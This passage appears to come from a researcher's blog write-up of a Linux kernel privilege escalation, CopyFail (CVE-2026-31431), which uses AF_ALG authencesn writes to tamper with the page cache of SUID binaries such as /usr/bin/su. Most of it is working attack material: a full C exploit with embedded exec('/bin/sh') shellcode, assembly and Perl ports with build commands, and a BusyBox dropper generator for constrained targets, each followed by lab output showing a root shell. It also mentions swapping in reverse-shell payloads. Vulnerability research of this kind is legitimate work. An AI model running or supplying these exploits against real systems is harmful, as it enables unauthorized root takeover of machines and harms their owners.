0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x 00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 , 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 axura@pwnlab:~/lab/copy-fail$ vim exploit.c axura@pwnlab:~/lab/copy-fail$ gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz axura@pwnlab:~/lab/copy-fail$ ./exploit [+] target : /usr/bin/su [+] payload : 376 bytes [+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write [+] payload staged into page cache, executing target... # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
We can also use other msfvenom payloads, such as a reverse shell payload, meterpreter, any Bash commands, etc.
7.3.2 C Exploit Script
Drop the final replacement bytes into PAYLOAD_BYTES. By default, this example uses the x86_64 exec("/bin/sh") payload:
/**
* Title : CopyFail CVE-2026-31431 Linux LPE exploit
* Date : 2026-05-15
* Author : Axura (@4xura) - https://4xura.com
*
* Description:
* ------------
* Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte
* destination-side scratch write into a page-cache overwrite primitive.
* The exploit places the controlled 4-byte value in AAD[4:8], splices a
* file-backed page range into the AEAD request, triggers decrypt, and
* repeats that primitive until the replacement payload is staged into the
* target executable's page cache.
*
* Usage:
* ------
* gcc -static -Wall -Wextra -O2 -o exploit exploit.c
* ./exploit
* DEBUG=1 ./exploit
* ./exploit <target_basename>
*
* Notes:
* ------
* Replace PAYLOAD_BYTES with the final replacement byte sequence to stage
* into the target executable for arbitrary code execution.
* The default target is /usr/bin/su. Authentication failure during recv()
* is expected; the exploit only requires authencesn() to execute far enough
* for the 4-byte scratch write to occur before the error is returned.
* Provided for educational use. Use responsibly.
*
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
enum {
CRYPTO_AUTHENC_KEYA_UNSPEC,
CRYPTO_AUTHENC_KEYA_PARAM,
};
struct crypto_authenc_key_param {
uint32_t enckeylen;
};
static int debug_enabled;
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
/*
* [ SHELLCODE ]
* Replacement bytes to stage into the target executable.
*
* Each loop iteration below consumes 4 bytes from this array and turns them
* into one page-cache overwrite primitive.
*/
static const unsigned char PAYLOAD_BYTES[] = {
/* TODO: insert replacement bytes here (default: exec("/bin/sh)) */
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES);
static void open_authencesn_socket(int *tfm_fd, int *op_fd)
{
struct {
struct rtattr rta;
struct crypto_authenc_key_param param;
unsigned char keys[16 + 16];
} keyblob = {
.rta = {
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
},
.param = {
.enckeylen = htonl(16),
},
};
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
};
memset(keyblob.keys, 0x00, sizeof(keyblob.keys));
*tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (*tfm_fd < 0)
die("socket(AF_ALG)");
if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(authencesn)");
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY,
&keyblob, sizeof(keyblob)) < 0)
die("setsockopt(ALG_SET_KEY)");
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,
NULL, 4) < 0)
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
*op_fd = accept(*tfm_fd, NULL, NULL);
if (*op_fd < 0)
die("accept");
}
static void queue_aad(int op_fd, const unsigned char chunk[4])
{
unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] };
unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0};
unsigned char cbuf[
CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(ivbuf)) +
CMSG_SPACE(sizeof(uint32_t))
] = {0};
struct af_alg_iv *iv = (void *)ivbuf;
struct iovec iov = {
.iov_base = aad,
.iov_len = sizeof(aad),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
uint32_t op = 0; /* ALG_OP_DECRYPT */
uint32_t assoclen = 8;
/*
* AAD layout:
*
* +------+------+------+------+------+------+------+------+
* | A | A | A | A | w0 | w1 | w2 | w3 |
* +------+------+------+------+------+------+------+------+
*
* Bytes 4..7 become seqno_lo, which authencesn later writes.
*/
iv->ivlen = 16;
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf));
memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
die("sendmsg(AAD)");
}
static void splice_target_window(int file_fd, int op_fd, off_t target_offset)
{
int pipefd[2];
loff_t splice_off = 0;
size_t splice_len = (size_t)target_offset + 4;
/*
* Imported layout:
*
* file[0 : target_offset] -> ciphertext region
* file[target_offset : +4] -> preserved tag tail
*
* authsize = 4 makes those last 4 imported bytes sit exactly where
* authencesn later performs its scratch write.
*/
if (pipe(pipefd) < 0)
die("pipe");
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
die("splice(file -> pipe)");
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
die("splice(pipe -> AF_ALG)");
close(pipefd[0]);
close(pipefd[1]);
}
static void trigger_decrypt(int op_fd, off_t target_offset)
{
size_t rx_len = (size_t)target_offset + 8;
unsigned char *outbuf = malloc(rx_len);
ssize_t n;
if (!outbuf)
die("malloc(recv)");
n = recv(op_fd, outbuf, rx_len, 0);
if (debug_enabled && n < 0)
printf(" [-] recv() returned: %s\n", strerror(errno));
free(outbuf);
}
static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4])
{
int tfm_fd, op_fd;
if (debug_enabled) {
printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n",
(unsigned long long)target_offset,
chunk[0], chunk[1], chunk[2], chunk[3]);
}
open_authencesn_socket(&tfm_fd, &op_fd);
queue_aad(op_fd, chunk);
splice_target_window(file_fd, op_fd, target_offset);
trigger_decrypt(op_fd, target_offset);
close(op_fd);
close(tfm_fd);
}
int main(int argc, char **argv)
{
const char *target = "/usr/bin/su";
int file_fd;
size_t i;
if (getenv("DEBUG"))
debug_enabled = 1;
if (argc > 1) {
static char path[256];
snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]);
target = path;
}
printf("[+] target : %s\n", target);
printf("[+] payload : %zu bytes\n", PAYLOAD_LEN);
printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n");
file_fd = open(target, O_RDONLY);
if (file_fd < 0)
die("open(target)");
for (i = 0; i < PAYLOAD_LEN; i += 4)
overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i);
close(file_fd);
printf("[+] payload staged into page cache, executing target...\n");
execl("/bin/su", "su", NULL);
die("execl(su)");
return 0;
}Build:
gcc -Wall -Wextra -O2 -o exploit exploit.cOr better, build statically for portability:
gcc -static -Wall -Wextra -O2 -o exploit exploit.cThis version keeps the exploit logic and stays on widely available Linux userspace interfaces. Unlike the Python version, it leaves the replacement byte stream explicit as PAYLOAD_BYTES, so the final staged content can be filled in directly without a separate compression step.
Pwned:
axura@pwnlab:~/lab/copy-fail$ vim exploit.c axura@pwnlab:~/lab/copy-fail$ gcc -static -Wall -Wextra -O2 -o exploit exploit.c axura@pwnlab:~/lab/copy-fail$ DEBUG=1 ./exploit [+] target : /usr/bin/su [+] payload : <depends on PAYLOAD_BYTES> bytes [+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write [+] overwrite @ 0x0: 7f454c46 [-] recv() returned: Bad message [+] overwrite @ 0x4: 02010100 [-] recv() returned: Bad message [+] overwrite @ 0x8: 00000000 [-] recv() returned: Bad message ... [+] overwrite @ 0x94: 0f052f62 [-] recv() returned: Bad message [+] overwrite @ 0x98: 696e2f73 [-] recv() returned: Bad message [+] overwrite @ 0x9c: 68000000 [-] recv() returned: Bad message [+] payload staged into page cache, executing target... # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
7.4 Assembly Exploit
After the C rewrite, the next step is stripping the exploit driver down to raw x86_64 Linux syscalls. This version is mainly useful as an advanced reference: it removes libc, removes language runtime glue, and makes the exploit flow visible almost one syscall at a time.
The canonical implementation is exploit-scripts/exploit.asm in the artifact repo.
This version does not call libc and does not depend on zlib. It embeds the final replacement ELF generated in 7.3.1.1 and drives the same 4-byte overwrite primitive entirely through direct syscalls:
payload:
incbin "payload.pwnkit.elf"
payload_end:
times 3 db 0
payload_len equ payload_end - payloadSo the build directory must already contain:
payload.pwnkit.elfbefore assembling the exploit, unless the incbin filename is changed.
The three zero bytes after
payload_endare only read padding for the final 4-byte chunk when the ELF size is not divisible by four.
At the control-flow level, the assembly version is still the same exploit:
| C helper | Assembly label | Syscalls used |
|---|---|---|
open_authencesn_socket() | open_authencesn_socket | socket, bind, setsockopt, accept |
queue_aad() | queue_aad_buf | sendmsg |
splice_target_window() | splice_target_window | pipe, splice, splice |
trigger_decrypt() | trigger_decrypt | recvfrom |
main() loop | .patch_loop | repeats the 4-byte primitive over payload.pwnkit.elf |
The only interface simplification is target selection. The C version accepts a basename and builds /usr/bin/<name>. The assembly version treats argv[1] as a full path, while no argument defaults to /usr/bin/su. After staging, it executes that same target path.
Build:
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.oRun against /usr/bin/su:
./exploit_asmOr pass a full target path to any root-owned SUID binary:
./exploit_asm /usr/bin/chshOn the lab machine, the compact ELF from 7.3.1.1 stages cleanly and the assembly driver reaches the same end state as the C and Python versions:
axura@pwnlab:~/lab/copy-fail$ ./exploit_asm /usr/bin/chsh [+] target : /usr/bin/chsh [+] payload staged into page cache, executing target... # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin) # whoami root
7.5 Perl Exploit
Perl is worth adding because many Linux systems still ship it by default even when Python development packages, compilers, or nasm are absent.
This port keeps the same exploit geometry as the C and assembly versions, but uses built-in syscall() only: no CPAN modules, no Compress::Zlib, and no shellcode generation inside the script itself. Instead, it reads the external ELF payload from 7.3.1.1, packs the required AF_ALG structs in userland, and drives the same syscall chain:
socket → bind → setsockopt → accept → sendmsg → splice → recvfrom
The canonical implementation is in the artifact repo: exploit-scripts/exploit.pl.
Usage:
perl exploit.pl
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl # prints per-chunk overwriteWe can specify a victim SUID binary and the the ELF payload (e.g. payload.pwnkit.elf from 7.3.1.1) we want to execute with kernel priv:
axura@pwnlab:~/lab/copy-fail$ perl exploit.pl /usr/bin/passwd payload.pwnkit.elf [+] target : /usr/bin/passwd [+] payload : 376 bytes from payload.pwnkit.elf [+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write [+] payload staged into page cache, executing target... # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin) # whoami root
7.6 BusyBox-only Exploit
There is an important limit here: a pure BusyBox shell script cannot directly perform the full exploit primitive. The exploit needs socket(AF_ALG), setsockopt(), sendmsg() with ancillary control messages, splice(), and recvfrom(). BusyBox applets do not expose that syscall shape.
So a realistic BusyBox-only path is a self-extracting runner:
- build the syscall exploit once, for example the assembly version from 7.4
- build the compact
payload.pwnkit.elffrom 7.3.1.1 - pack both files into one BusyBox-compatible shell script
- on the target, the script uses only BusyBox
shandprintfto reconstruct the files under/tmp, then runs the exploit
This is useful on constrained systems where BusyBox is present but Python, Perl, gcc, nasm, and package managers are not.
The packer is kept in the artifact repo as exploit-scripts/mk_busybox_dropper.sh:
#!/bin/sh
#
# Build a BusyBox-compatible self-extracting CopyFail runner.
#
# Usage:
# sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
# busybox sh copyfail-busybox.sh /usr/bin/su
#
# The generated script uses only common BusyBox applets: sh, printf, chmod,
# mkdir, rm, cd, and exec.
set -eu
if [ "$#" -ne 2 ]; then
echo "usage: $0 <exploit_asm> <payload.pwnkit.elf>" >&2
exit 1
fi
exploit_bin=$1
payload_elf=$2
[ -r "$exploit_bin" ] || { echo "cannot read exploit binary: $exploit_bin" >&2; exit 1; }
[ -r "$payload_elf" ] || { echo "cannot read payload ELF: $payload_elf" >&2; exit 1; }
emit_file() {
src=$1
dst=$2
printf "write_blob \"%s\" <<'__COPYFAIL_BLOB__'\n" "$dst"
od -An -tx1 -v "$src" |
awk '
{
for (i = 1; i <= NF; i++) {
buf = buf "\\x" $i
if (length(buf) >= 192) {
print buf
buf = ""
}
}
}
END {
if (length(buf))
print buf
}'
printf "__COPYFAIL_BLOB__\n"
}
cat <<'EOF'
#!/bin/sh
set -eu
d=${TMPDIR:-/tmp}/.copyfail.$$
mkdir "$d" || exit 1
trap 'rm -rf "$d"' EXIT HUP INT TERM
umask 077
write_blob() {
out=$1
: > "$out"
while IFS= read -r line; do
[ "$line" = "__COPYFAIL_BLOB__" ] && break
printf '%b' "$line" >> "$out"
done
}
EOF
emit_file "$exploit_bin" '$d/exploit_asm'
emit_file "$payload_elf" '$d/payload.pwnkit.elf'
cat <<'EOF'
chmod 700 "$d/exploit_asm"
cd "$d"
exec ./exploit_asm "${1:-/usr/bin/su}"
EOFGenerate the BusyBox artifact on a build-capable lab machine:
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.shThen run the generated artifact on the constrained target:
busybox sh ./copyfail-busybox.sh /usr/bin/suPwned:
axura@pwnlab:~/lab/copy-fail$ sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh axura@pwnlab:~/lab/copy-fail$ chmod +x copyfail-busybox.sh axura@pwnlab:~/lab/copy-fail$ busybox sh ./copyfail-busybox.sh /usr/bin/su [+] target : /usr/bin/su [+] payload staged into page cache, executing target... # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin) # whoami root
That generated script wrote two files into a private temporary directory:
$TMPDIR/.copyfail.$$/exploit_asm
$TMPDIR/.copyfail.$$/payload.pwnkit.elfThen it changed into that directory and executes:
./exploit_asm /usr/bin/suThis keeps the target-side dependency set small. The target does not need nasm, ld, gcc, Python, Perl, base64, xxd, or uudecode; the generated script only relies on BusyBox shell behavior and printf '%b' handling \xNN byte escapes.
Comments | NOTHING